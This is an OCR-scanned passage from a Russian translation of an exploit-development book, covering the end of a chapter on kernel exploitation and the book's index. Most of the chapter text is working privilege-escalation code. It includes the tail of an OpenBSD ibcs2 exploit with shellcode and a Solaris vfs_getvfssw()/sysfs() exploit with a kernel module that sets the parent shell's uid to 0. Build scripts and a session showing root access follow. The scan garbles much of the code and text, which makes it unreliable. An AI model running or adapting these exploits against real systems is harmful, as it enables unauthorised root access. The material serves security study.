sizeof(scnO)), offset += sizeof(scnO). memcpy(ptr+offset, &scnl, sizeof(scnl)). offset += sizeof(scnl). memcpy(ptr+offset, (char*) &scn2. sizeof(scn2)). offset += sizeof(scn2). Iptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + (sizeof(scnO) * 3) + 4096 + 4096 + OxbO - 8). shptr = (char *) mallocD096). if('shptr) { perrorC'malloc").
404 Глава 21. Эксплуатация уязвимостей ядра exit(-l). } if(debug) printf("payload adr: OxU 8x\t", shptr); memset(shptr, Oxcc, 4096); get_proc((pid_t) getppidO. &kp); pprocadr = (ujong) kp.kp_eproc e_paddr; if(debug) pnntf("parent proc adr: Ox% 8x\n", pprocadr); *lptr++ = Oxdeadbeef; *lptr = (u_long) shptr; shellcode[5] = pprocadr & Oxff. shellcode[6] = (pprocadr » 8) & Oxff; shellcode[7] = (pprocadr » 16) & Oxff, shellcode[8] = (pprocadr » 24) & Oxff, memcpy(shptr. shellcode. sizeof(shellcode)-l), unlink("./ibcs2own"); if((fd = open С /ibcs2own". 0_CREATA0_RDWR. 0755 perrorCopen"), exit(-l); } wnte(fd. ptr. sizeof(fhdr) + sizeof(ahdr) + (sizeof(scnO) * 3) + 4096*3); close(fd); free(ptr); signal(SIGSEGV, (void (*)())sig_handler). signaKSIGILL. (void (*)())sig_handler); signal(SIGSYS. (void (*)())sig_handler), signal(SIGBUS. (void (*)())sig_handler), signal(SIGABRT, (void (*)())sig_handler); signal(SIGTRAP. (void (*)())sig_handler). pnntf("\nD0 NOT FORGET TO SHRED /ibcs2own\n"). execve(args[0], args. envs); perrorCexecve"). void sig_handler() { exit(O). void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4]. len.
Уязвимость загрузки модулей ядра vfs_getvfssw() 405 агг[0] = CTL_KERN; агг[1] = KERN_PR0C. агг[2] = KERN_PROC_PID, arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4. kp, &len. NULL, 0) < 0) { perrorC'sysctl"). fprintf(stderr, "this is an unexpected error, re-run!\n"); exit(-l); } } Уязвимость загрузки модулей ядра vfs_getvfssw() Этот раздел короче предыдущего, потому что надежная атака с использованием функции vfs_getvfssw() требует меньшего количества действий, чем предыдущая уязвимость OpenBSD. В отличие от нее, уязвимость vfs_getvfssw() эксплуатируется довольно тривиально. Потребуется лишь написать простой код вызова одной из уязвимых системных функций с хитроумным аргументом modname. Также нужно написать модуль ядра, который найдет наш процесс в связанном списке дескрипторов процессов и присвоит ему root-привилегии. Последнее требует практического опыта написания модулей ядра; эта тема в книге не рассматривается. Уязвимость vfs_getvfssw() может эксплуатироваться разными способами, но мы будем применять ее только для получения root-привилегий. Читатель может пойти дальше и разработать более интересные атаки. Разработка кода Следующая программа вызывает системную функцию sysfs() с аргументом ../.¦/ ../tmp/oO. Этот аргумент заставляет ядро загрузить модуль /tmp/sparcv9/o0 (для 64-разрядного ядра) или /tmp/oO (для 32-разрядного ядра). Модуль размещается в каталоге /tmp: оОоО с #include <stdio h> #include <sys/fstyp h> #include <sys/fsid h> #include <sys/systeminfo h> /*int sysfsdnt opcode, const char *fsname), */ int maindnt argc, char **argv) { char modname[] = " / / /tmp/oO". char buf[4096]. char ver[32], *ptr.
406 Глава 21. Эксплуатация уязвимостой ядра int sixtyfour = 0, memset((char *) buf. 0x00. 4096). if(sysinfo(SI_ISALIST. (char *) buf. 4095) < 0) { perrorC'sysinfo"), exit@); } if(strstr(buf. "sparcv9")) sixtyfour = 1; memset((char *) ver. 0x00. 32). if(sysinfo(SI_RELEASE. (char *) ver. 32) < 0) { perrorC'sysinfo"). exit@); } • ptr = (char *) strstr(ver. "."); lf('ptr) { fprintf(stderr. "can't grab release version!\n"); exit@). } ptr++. memset((char *) buf. 0x00. 4096). if(sixtyfour) snpnntf(buf. sizeof(buf)-l. "cp /%s/o064 /tmp/sparcv9/o0". ptr); else snprintf(buf. sizeof(buf)-l. "cp As/o032 /tmp/oO". ptr). if(sixtyfour) if(mkdirC7tmp/sparcv9". 0755) < 0) { perrorCmkdir"). exit@). } system(buf). sysfs(GETFSIND. modname). //perrorC'hoe1"). if(sixtyfour) system('7usr/b"in/rm -rf /tmp/sparcv9"). else systemCVusr/bin/rm -f /tmp/oO"), } Загружаемый модуль ядра Как упоминалось в предыдущем разделе, программа перебирает все процессы, находит наш процесс (по имени, например, оОоО) и заносит в поле uid структуры привилегий значение 0 (код UID привилегированного пользователя с правами root).
Уязвимость загрузки модулей ядра vfs_getvfssw() 407 Далее приводится единственный фрагмент модуля ядра, повышающего уровень привилегий, связанный с нашим решением. Оставшаяся часть кода состоит из заглушек, которые обязательно должны присутствовать в загружаемом модуле ядра: [1] mutex_enter(&pidlock), [2] for (p = practive, p != NULL, p = p->p_next) { [3] if(strstr(p->p_user.u_comm. (char *) "оОоО")) { [4] pp = p->p_parent. [5] newer = crgetO; [6] mutex_enter(&pp->p_crlock), cr = pp->p_cred; crcopy_to(cr. newer). pp->p_cred = newer. [7] newcr->cr_uid = 0. [8] mutex_exit(&pp->p_crlock); } continue. } [9] mutex_exit(&pidlock). Перебор связанного списка структур процессов начинается в точке [2]. Непосредственно перед началом перебора для списка устанавливается блокировка, чтобы его содержимое не изменялось в ходе поиска целевого процесса (./оОоО в нашем примере). Указатель practive ссылается на начало связанного списка, поэтому мы начинаем с него ([2]) и перемещаемся к следующему элементу по указателю p_next. В точке [3] имя процесса сравнивается с именем исполняемого модуля (в последнем должна присутствовать подстрока оОоО). Имя исполняемого модуля хранится в массиве u_comm структуры, на которую указывает поле p_user структуры процесса. Функция strstr() ищет первое вхождение строки оОоО в u_comm. Если искомая сигнатура присутствует в имени процесса, мы извлекаем дескриптор родительского процесса ([4]), которым является командный процессор. Далее программа создает новую структуру привилегий для командного процессора ([5]), устанавливает блокировку мутексов на время выполнения операций ([6]), обновляет старую структуру и обнуляет идентификатор пользователя (UID) в точке [7]. В завершение своей работы код повышения уровня привилегий снимает блокировку мутексов как структуры привилегий, так и связанного списка структур процессов ([8] и [9]). moka с #include <sys/systm h> #include <sys/ddi h> #include <sys/sunddi h> #include <sys/cred h> #include <sys/types h>
408 Глава 21. Эксплуатация уязвимостой ядра #include <sys/proc.h> #include <sys/procfs h> #include <sys/kmem.h> #include <sys/errno.h> iinclude <fcntl.h> #include <unistd h> #include <sys/modctl.h> extern struct mod_ops mod_miscops; int g3mm3(void); int g3mm3() { register proc_t *p; register proc_t *pp, cred_t *cr, *newcr, mutex_enter(&pidlock), for (p = practive. p != NULL; p = p->p_next) { if(strstr(p->p_user u_comm, (char *) O0O")) { pp = p->p_parent; newer = crgetO. mutex_enter(&pp->p_crlock); cr = pp->p_cred; crcopy_to(cr, newer); pp->p_cred = newer; newcr->cr_uid = 0; mutex exit(&pp->p crlock); } continue; } mutex_exit(&pidlock), return 1, static struct modlmisc modlmisc = &mod_miscops, "u comm" static struct modlinkage modlinkage = M0DREV_1. (void *) &modlmisc. NULL nt init(void)
Уязвимость загрузки модулей ядра vfs__yetvfssw() 409 { int i, if ((i = modjnstalK&modlinkage)) != 0) //cmn_err(CE_NOTE, ""); #ifdef _DEBUG else cmn_err(CE_N0TE. "OoOoOoOo installed 0O0O0O0O0O0O"); #endif i = g3mm3(). return i, } int info(struct modinfo *mod~mfop) { _ return (mod info(&modlinkage, modinfop)), } int fini(void) { " int i, if ((i = mod_remove(&modlinkage)) != 0) //cmn_err(CE_NOTE. "not removed"); #ifdef DEBUG else cmn_err(CE_NOTE, "removed"); #endif return i; } Мы приводим два разных сценария командного интерпретатора, компилирующие модуль ядра для 64- и 32-разрядных версий ядра соответственно. Модули ядра должны компилироваться с определенными параметрами. Это и является основной целью приведенных сценариев, потому что выбрать правильный набор параметров без опыта разработки кода ядра будет непросто. make64 sh /opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl.no^float -xarch=v9 \ -DUSE_KERNEL_UTILS -D_KERNEL -D_B64 тока с Id -о тока -г тока о гт тока.о mv тока о064 дсс -о 0О0О sysfs_ex с /usr/ccs/bin/stnp oOoO о064 таке32 sh /opt/SUNWspro/bin/cc -xCC -g -xregs=no^appl.noufloat -xarch=v9 \ -DUSE_KERNEL_UTILS -D_KERNEL -D_B32 тока.с Id -о тока -г тока о гт тока о mv тока о032
410 Глава 21. Эксплуатация уязвимостей ядра дсс -о 0О0О sysfs_ex с /usr/ccs/bin/stnp 0О0О о032 Получение root-привилегий (uid=0) В последнем разделе показано, как получить root-привилегии (uid=0) па компиляторе с системой Solaris. Запуск программы из командной строки осуществляется следующим образом: $ uname -a SunOS slint 5 8 Generic_108528-09 sun4u spare SUNW.Ultra-5_10 $ isainfo -b 64 $ id uid=1001(ser) gid=10(staff) $ tar xf 0O0O tar $ Is -1 total 180 drwxr-xr-x 6 ser staff 512 Mar 19 2002 0O0O -rw-r--r-- 1 ser staff 90624 Aug 24 11 06 0O0O tar $ cd 0O0O $ Is 6 8 make.sh moka.c o032-8 o064-7 O064-9 sysfs_ex с 7 9 make32 sh o032-7 0o32-9 O064-8 oOoO $ id uid=1001(ser) gicKLO(staff) $ /oOoO $ id uid=1001(ser) gid=10(staff) euid=0(root) $ touch toor $ Is -1 toor -rw-r--r-- 1 root staff 0 Aug 24 11 18 toor Код работает в Solaris 7, 8 и 9, причем как в 32-, так и в 64-разрядных версиях. У нас не было старых версий Solaris (таких как 2.6 и 2.5.1), поэтому они не поддерживаются. Тем не менее, мы полагаем, что код будет компилироваться и надежно работать в Solaris 2.5.1 и 2.6. Итоги В этой главе продемонстрированы варианты эксплуатации уязвимостей ядра, описанных в главе 20. Разработка средств внедрения кода атаки для различных уязвимостей ядра часто оказывается весьма непростой задачей, как это было с уязвимостью Open BSD. Учтите, что одни дефекты ядра эксплуатировать относительно легко, а с другими приходится изрядно потрудиться. Хочется верить, что представленные нами методы эксплуатации уязвимостей ядра помогут вам заняться разработкой собственных эксплойтов, а может быть, и повышением безопасности кода ядра Как нам кажется, сам анализ кода ядра приносит массу удовольствия, а программная реализация эксплойтов для эксплуатации найденных дефектов еще интереснее. Многие проекты с открытыми кодами ядра только и ждут вашего вмешательства. Удачной охоты!
Алфавитный А accept(), функция, 208 ASCII, кодировка, 64, 181 в Base64, схема шифрования, 182 brk(), функция, 87 bss, сегмент, 21 с CALL, команда, 44 CANVAS, пакет, 116 Cbrowser, программа, 243 chroot, команда, 83 Code Red, червь, 141 СОМ, модель, 172 cookie, данные, 148 CreateFile(), функция, 267 CreateProcess(), функция, 102 Cscopc, программа, 242 Ctags, программа, 242 Cygwin, пакет, 115 D data, сегмент, 21 DCE-RPC, пакет, 105 DCOM, модель, 98 Debug, отладчик, 200 Detours, пакет, 285 DOS-атака, 276 DTORS, таблица, 76, 96 dumpbin, утилита, 173 dup2(), функция, 83 DW, директива, 24 Е ЕАХ, регистр, 23 ЕВХ, регистр, 23 ЕСХ, регистр, 23 EFLAGS, penicip, 24 EIP, регистр, 24 ELF, формат, 50 указатель ESP, регистр, 23, 199 Ethereal, программа, 201 EXCEPTION_REGISTRATION, струк 141 execve(), функция, 55 exit(), функция, 48, 49 ExitProcess(), функция, 129 ExitThread(), функция, 129 F FaultMon, программа, 221 FIFO, модель, 22 fork(), функция, 55 free(), функция, 88, 119 fstat, утилита, 201 FTP, демон, 69 G gec, компилятор, 32, 197 gdb, отладчик, 32, 197 GetProcAddiess(), функция, 111 GetProccssllcapO, функция, 154 GetSystemDirectoryW(), функция, 152 glibc, библиотека, 93 GlobalAlloc(), функция, 155 GOT, таблица, 76 н HeapAllocate(), функция, 154 HcapCreate(), функция, 101 I 1Л32, архитектура, 21 IAT, таблицы, 286 IDA Pi о, дплассемблер, 202 IDS, сисчема, 70 11S, веб-сервер, 141, 266 L L1FO, модель, 21 LoadLibrary(), (функция, 111 LocalА11ос(), функция, 155 1 trace, yi плита, 201
412 Алфавитный указатель М inalloc(), функция, 48, 87 иимпсруО, функция, 310 шшарО, функция, 88 MultiBytcToWidcChai(), функция, 186, 314 N NASM, ассемблер, 197 NetCat, утилита, 200 NOP заполнитель, 41 команда, 41 NTDLL.DLL, модуль, 143 О objdump, утилита, 54 OllyDbg, отладчик, 98, 198 Oracle, СУБД, 262 Р РЕВ, блок, 138, 154 PE-COFF, формат, 98 Perl, язык, 275 POP, команда, 29 POPAD, команда, 182 printf(), функция, 63 PUSH, команда, 29 PUSHAD, команда, 182 Python, язык, 106, 198 р-код, 302 R realloc(), функция, 88 recv(), функция, 208 recvfrom(), функция, 208 RevertToSelf(), функция, 120 root, привилегия, 36 RtlEnterCriticalScctionO, функция, 158 RtlImageNtHeader(), функция, 147 RtlLeaveCriticalSection(), функция, 158 RVA, адресация, 100 s SEH, обработчик исключений, 109 Service Pack, пакет обновлений, 141 Sof'tlCE, отладчик, НО, 198 SPIKE, программа, 232 SPIKE, утилита, 105 SQL Server, платформа, 262 SQL-UDP, дефект, 277 strace, утптпга, 201 strcpy(), функция, 157, 281 strlen(), функция, 311 systeni(), функция, 43, 175 т tcpdump, утилита, 201 ТЕВ, блок, 138 text, сегмент, 21 TlsGetValue(), функция, 112 TlsSetValue(), функция, 112 Transact-SQL, язык, 262 и Unicode, кодировка, 92, 181, 185, 187 V VirtualProtect(), функция, 112 W WideCharToMultiByteO, функция, 186 Win Dbg, отладчик, 198 Windows 2003 Server, платформа, 145 windows.h, заголовочный файл, 117 wprintf(), функции, 65 WSASocket(), функция, 112 wu-ftpd, демон, 69 х XOR, команда, 60 А аварийное завершение, 122 аварийное завершение службы, 69 автоматическое завершение, 282 авторизация, 269 аддитивное шифрование, 114 адрес виртуальный, 100 возврата, 31, 390 относительный, 100 адресное пространство, 21 алгоритм Нейгла, 220 алфавитно-цифровой фильтр, 181 анализ восходящий, 245 временных меток, 350 графический, 315 двоичный, 301, 304 динамический, 232 избирательный, 245 инсгрумешальный, 261 исходного кода, 241 машинного кода, 285 нисходящий, 244 статический, 227 архитектурный дефект, 265 ассемблер, 23 атака замены адреса возврата, 390 на СУБД, 351
Алфавитный указатель 413 атака (продолжение) на уровне SQL, 365 обратного подключения, 200 опустошения, 350 перезаписи ноля длины, 350 переполнения кучи, 349 прикладного уровня, 361 сетевого уровня, 352 форматных строк, 203 аутентификация, 269, 327 Б беззнаковое сравнение, 252 безопасность, 20 библиотека встроенного кода, 206 динамическая, 43 динамической компоновки, 99, 266 блок окружения процесса, 116 блок окружения потока, 138, 169, 174 процесса, 138, 175 брешь в защите, 20 буфер, 27 в вектор прерывания, 396 венецианский метод, 185, 188 Венна, диаграммы, 224 виртуальная функция, 76, 313 внедряемый код, 47, 114, 344 внесение ошибок, 210, 224 внешняя процедура, 262 возврат в libc, 43 волшебное число, 342 восстановление кучи, 170 восходящий анализ, 245 встроенный ассемблер, 205 вторжение, 70, 201 вызов обратный, 76, 220 опосредованный, 333 выявление уязвимостей, 195 г глобальная таблица смещений, 76 глобальная функция, 96 глобально-уникальное число, 103 гнездо, 89 графический анализ, 315 Д двоичный анализ, 301 демон, 69, 201 дерево, сбалансированное, 89 дескриптор прерывания, 396 дескриптор (продолжение) процесса, 391 системного шлюза, 396 шлюза ловушки, 396 деструктор, 76, 96 дефект SNMP-дсмопа DOS в Windows 2000, 276 SQL-UDP, 277 архитектурный, 265 переполнения, 27, 87 проверки границ, 248 форматной строки, 63, 65, 68, 83 форматных строк, 300 целочисленного переполнения, 300 дефект безопасности, 20 дешифрирование, 114, 182, 192 диаграмма Венна, 224 динамическая библиотека, 43 динамическая куча, 154 динамический анализ, 232 дисбаланс, 269 дополнение NOP, 41 достижимость уязвимости, 384 доступ исключение, 48 монопольный, 209 прямой, 73 з заглушка, 214 загружаемы!! модуль, 406 защитные данные cookie, 148 знаковое сравнение, 252 и идентификатор группы, 69 пользователя, 68, 323 избирательный анализ, 245 инструментальный анализ, 261 интернет-червь, 300 интерпретатор, 57 исключение, 139 исключение доступа, 48 к кадр стековый, 304 канал ввода, 135 вывода, 135 каталог конфигурации загрузки, 144 качество, 210 класс преимущественного выделения, 375 разделения времени, 375 реального времени, 375 фиксированного приоритета, 375
414 Алфавитный указатель код внедряемый, 47, 114, 344 дешифрирования, 193 машинный, 51, 285 позиционно-независпмый, 118 кодировка, 185 кодовая страница, 186 командный процессор, 36, 54, 135 компонентная модель объектов, 172 компоновка, статическая, 285 конвенция вызова, 306 С, 306 Stdcall, 306 thiscall, 312 конечная точка, 104 контроль над исполнением процесса, 75 контрольная сумма, 299 контрольная точка, 389 копилка, 232 кошмар DLL, 100 куча, 21,22, 87 восстановление, 170 динамическая, 154 определение, 154 переполнение, 89 понятие, 87 процесса, 154 создание, 101 умалчиваемая, 101 функционирование, 88, 155 л ловушка, 396 локальная память потока, 112 локальная уязвимость, 230 м максимальная единица передачи, 344 маркер определение, 106 первичный, 107 текущего потока, 107 массив, 27 масштабируемость, 228 машинный код, 51, 285 метод венецианским, 185, 188 метод NOP, 41 многопоточиость, 102, 259 модификация кода па стадии выполнения, 328 модуль загружаемый, 406 мониторинг ошибок. 221 монопольный доступ, 209 мост построение, 181 н наследование, 136 неисполняемый стек, 43, 175 Нейгла, алгоршм, 220 нисходящий анализ, 244 нуль-символ, 53 о обеспечение качества, 210 обнаружение вторжения, 70 обнаружение вторжений, 201 оболочка, 48 обработка исключений, 109, 131 обработчик промежуточный, 398 реальный, 398 обработчик исключений, 139 обратное подключение, 200 обратный вызов, 76, 220 обход системы проверки вводимых данных, 217 системы проверки входных данных, 270 обход фильтров, 181 общая логическая ошибка, 246 ограничитель, 216 однофакторный эксплойт, 343 опознавательная сигнатура, 286 опосредованный вызов, 333 опустошение, 350 отладчик, 221 относительный виртуальный адрес, 100 ошибка внесение, 210 единичного смешения, 249 логическая, 246 мониторинг, 221 некорректного завершения строки, 251 общая, 246 передача, 219 переполнения буфера, 249 повторного освобождения памяти, 256 приведения к каноническому виду, 267 проверки границ, 248 пропуска заверил тел я, 251 п пакет обновлений, 141 память локальная, 112 потока, 112 первичный маркер, 107 передача ошибок, 219 перезапись, 21 образов, 280 переключение битов, 231 перемещаемый формат, 100 переполнение, 21 в ядре, 368 кучи, 87, 89, 158,203 процесса, 262 стека, 27, 33, 138, 202 целочисленное, 203
Алфавитный указатель 415 перехват импорта, 288 методика, 284 пролога, 288, 289 эпилога, 290 перехват подключения, 208 перехват управления, 390 перехватчик, 75 повторное освобождение памяти, 256 подставляемая функция, 284 подстановка, 287 позиционно-независимый код, 118 поиск в стеке, 391 сигнатурный, 299 смещения, 199 структуры процесса, 391 построение моста, 181 поток программный, 87, 102, 345 пошаговая запись кода, 275 привилегии, 36 проверка ввода, 270 проверка вводимых данных, 217 проверка границ, 248 проглет, 205, 330 программный поток, 87, 102, 345 продвижение, 233, 332, 349 пролог, 31 промежуточный обработчик, 398 пропуск завершителя, 251 протокол TCP/IP, 219 без поддержки состояния, 220 с поддержкой состояния, 220 сетевой, 233 протокольная заглушка, 214 процедура внешняя, 262 прямой доступ к параметрам, 73 р рабочая среда, 196 распределитель конечной точки, 104 расширенный регистр флагов, 24 расширенный указатель команд, 24 стека, 23 регистр общего назначения, 23 сегментный, 23 управляющий, 24 флагов, 24 реентерабельное!ь, 259 режим ядра, 392 реконструкция определений классов, 312 С сбалансированное дерево, 89 сбор данных, 291 сеансовый ключ, 330 сегмент bss, 21 data, 21 text, 21 сегментный регистр, 23 секция, 173 сигнатура опознавательная, 286 сигнатура обнаружения атак, 273 сигнатурный поиск, 299 символ алфавитно-цифровой, 181 ограничитель, 216 широкий, 186 экранируемый, 274 символическое имя, 303 система обнаружения вторжений, 70, 201 системная функция, 47, 205, 331 системный монитор, 276 системный шлюз, 396 смещение, 38, 76, 199, 389 сокет, 78, 208 спецификатор формата, 64 сравнение беззнаковое, 252 знаковое, 252 среда рабочая, 196 стабильность, 208 статическая компоновка, 285 статический анализ, 227 стек, 21,29 непенолняемый, 43, 175 переполнен не, 27, 33 стековый ВР-кадр нетрадиционный, 305 традиционный, 304 стековый обработчик исключений, 139 страж, 96, 148 страница кодовая, 186 строка форматная, 63, 65, 247 схема быстрою вызова, 48 шифрования, 114, 182 т таблица виртуальных функций, 76, 313 дескрипторов прерываний, 396 десфукюров, 76, 96 зарегистрированных обработчиков, 144 импорт, 286 смещений, 76 указаicпей на функции, 172 i оч ка входа, 389 контрольная, 389
416 Алфавитный указатель трассировка уязвимостей, 280 трассировщик, 51 У указатель базы, 304 кадра, 305, 390 указатель кадра, 30 умалчиваемая куча, 101 управление памятью, 87 управляющий регистр, 24 утечка информации, 65, 70, 349 памяти, 347 ресурсов, 207 уязвимая программа, 281 уязвимость, 20 ДОСТИЖИМОСТЬ, JO'l единичного смещения, 249 загрузки модулей ядра, 405 знакового сравнения, 252 использования памяти вне области видимости, 257 после освобождения, 258 локальная, 230 некорректного завершения строк, 251 перебора загружаемых модулей, 381 переполнения буфера, 249 перехвата именованных каналов, 266 повторного освобождения памяти, 256 проверки границ, 248 пропуска завершителя, 251 форматных строк. 247 целочисленного переполнения, 253 Ф фаззер,21, 199,214,229 фаззинг, 21, 224 фактор ненадежности, 342 фильтр, 181 Unicode-символов, 185 алфавитно-цифровых символов, 181 филыр необработанных исключений, 164 формат вывода, 64 перемещаемый, 100 форматная строка, 63, 65, 247 фрагмент памяти, 89 функция виртуальная, 76, 313 глобальная, 96 инициализации, 101 обратного вызова, 76, 220 подставляемая, 284 системная, 47, 205, 331 х хакер, 112 хеширование, 124 хеш-код, 118 хост, 120 Ц целочисленное переполнение, 203, 253, 3 цикл,249 ч червь, 141, 360 черный ход, 326 ш шестнадцатеричное представление, 303 широкий символ, 186 шифрование аддитивное, 114 шлюз ловушки, 396 системный, 396 шум, 214 шумогенератор, 214 э эвристика, 220 экранирование, 274 экранируемый символ, 274 эксплойт, 20, 111 двухфакторный, 343 однофакторный, 343 эксплуатация уязвимости, 20 эхо-режим, 69 я язык IDL, 103 Python, 106, 198 SQL, 262 Transact-SQL, 262